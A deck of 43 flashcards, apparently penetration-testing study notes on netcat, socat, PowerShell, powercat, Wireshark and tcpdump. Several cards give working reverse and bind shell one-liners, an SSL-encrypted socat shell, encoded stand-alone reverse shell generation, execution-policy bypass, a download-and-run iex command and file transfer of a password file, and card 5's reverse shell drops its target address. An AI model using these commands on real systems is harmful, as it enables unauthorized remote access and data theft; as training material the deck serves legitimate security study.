Chapter 4: Practical Tools Flashcards

1
Q

Type out a netcat command listening on port 4444.

A

nc -nvlp 4444

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Type out a netcat command connecting to another address on port 4444

A

nc -nv 10.11.1.1 4444

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What does the -e switch on netcat do? Explain it in terms of data streams.

A

the -e switch redirects input output and error into the port. an application like /bin/bash being executed will have all it’s data sent to the port - meaning whoever connects to the port will recieve that info.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Type out a netcat bind shell.

A

nc -lvnp 4444 -e /bin/bash

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Type out a netcat reverse shell.

A

nc -nv 4444 -e /bin/bash

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

How do you connect to a remote server using socat?

A

socat - TCP4:10.11.1.1:80

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How do you use socat to create a listener?

A

socat - TCP4-LISTEN:443 STDOUT

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

How do you send a file using socat?

A

socat TCP4-LISTEN:443,fork file:secret_passwords.txt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Recieving a file from socat, what do we type?

A

socat TCP4:10.11.0.4:443 file:recieved_secret_password.txt,create

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

In terms of socat reverse shells, how do we set up a listener?

A

sudo socat TCP4-LISTEN:443 STDOUT

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

In terms of socat reverse shells, how do we initiate the connection?

A

socat TCP4:10.11.0.22:443 EXEC:/bin/bash

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How do we send a file using netcat? Type out the client and server commands

A

nc -nv 10.11.1.3 80 < file.txt

nc -nvlp 80 > file.txt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

use the openssl command to create a self-signed certificate - so we can use an encrypted socat connection.

A

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 36
2 -out bind_shell.crt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

After we have generated a certificate for ssl, what next steps including commands do we do?

A

We need to convert the bind_shell.key and bind_shell.crt into bind_shell.pem so that socat can read it.

we do this by using cat bind_shell.key bind_shell.crt > bind_shell.pem

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

After the SSL certificate has been completed, how do we then start a listener?

A

sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin
/bash

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

On Windows Powershell, how do we review the execution policy?

A

Get-ExecutionPolicy

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Why is the execution policy on Windows Powershell important?

A

The execution on Windows Powershell by default is set to Restricted, meaning we cannot run any scripts or configuration files. This is for security reasons, but also restricts our usage of the shell and why we turn it off.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

On Windows Powershell how do we turn the execution policy to Unrestricted?

A

Set-ExecutionPolicy Unrestricted

19
Q

How do we download a file using Powershell?

A

powershell -c “(new-object System.Net.Webclient).DownloadFile(‘http://10.11.1.1/wget.exe’,’C:\Users\Dan\Desktop\wget.exe’)”

20
Q

In the Powershell download command, what does the c switch do?

A

Executes the supplied command enclose in double quotes.

21
Q

In a Powershell command what does the new-object cmdlet do?

A

Instantiate either a .Net Framework or a COM object.

22
Q

Within the context of a Powershell download command, expand on what “new-object System.Net.WebClient” means.

A

new-object instantiates either a .Net framework or a COM object. The new-object cmdlet has created an instance of the WebClient which is defined in the System.Net namespace. The WebClient class is used to access resources from a URI and exposes a public method known as DownloadFile which needs two parameters, a source location and target location.

23
Q

What is Powercat?

A

Powercat is essentially the Powershell version of netcat.

24
Q

In the context of Powershell, what is Dot-sourcing?

A

Dot-sourcing allows all functions and variables declared in the script available for the current Powershell session.

25
Q

Why is Dot-sourcing in Powershell important?

A

It means we can use a certain function directly in powershell instead of constantly declaring it.

26
Q

How do we dot-source a script in Powershell?

A

. .\powercat.ps1

27
Q

If we wanted to dot-source a remote script, what command would we use?

A

iex (New-Object System.Net.Webclient).DownloadString(‘https://raw.smackdown.github.com/script.ps1’)

28
Q

In terms of transferring files using powercat, what command would we enter into powershell?

A

powercat -c 10.11.0.4 -p 443 -i C:\Users\Dan\Desktop\powercat.ps1

the c switch specifies client mode. the p switch specifies the port number and the i switch indicates the local file being transferred to a remote machine.

29
Q

Using powercat, how do you send a reverse shell from Windows?

A

powercat -c 10.11.1.13 -p 443 -e cmd.exe

30
Q

Using powercat, how do you set up a bind shell?

A

powercat -l -p 443 -e cmd.exe

31
Q

Using powercat how do we create a stand alone reverse shell?

A

powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1

32
Q

Using powercat how do we create a stand alone reverse shell but with base64 encryption?

A

powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.
ps1

instead of just a g switch, we add an e switch too.

33
Q

How do you start wireshark on Kali?

A

sudo wireshark

34
Q

Why is it important to filter data on network sniffers?

A

Because there is too much noise on the network if you don’t. Without filters you can’t analyse data properly due to the amount of traffic coming and going.

35
Q

At what stage of starting up wireshark is the capture filter present?

A

At the beginning of the start up process next to the network interface options

36
Q

At what stage of starting up wireshark is the display filter present?

A

The second screen of the GUI

37
Q

In wireshark what is a useful way to follow the data stream?

A

right click - follow - tcp stream (or whatever protocol is present)

38
Q

How do you filter an individual port in wireshark using a display filter?

A

tcp.port == 110

39
Q

Name a text-based network sniffer?

A

tcpdump

40
Q

On tcpdump how do we specify an interface? (tun0, lan, eth etc)

A

We use the -i switch

41
Q

On tcpdump how do we specify increase verbosity?

A

-v switch

42
Q

On tcpdump how do we specify a host filter?

A

use the host switch “host” and type out the ip address to listen to

43
Q

On tcpdump why is the -X switch important?

A

it shows us the content of the packets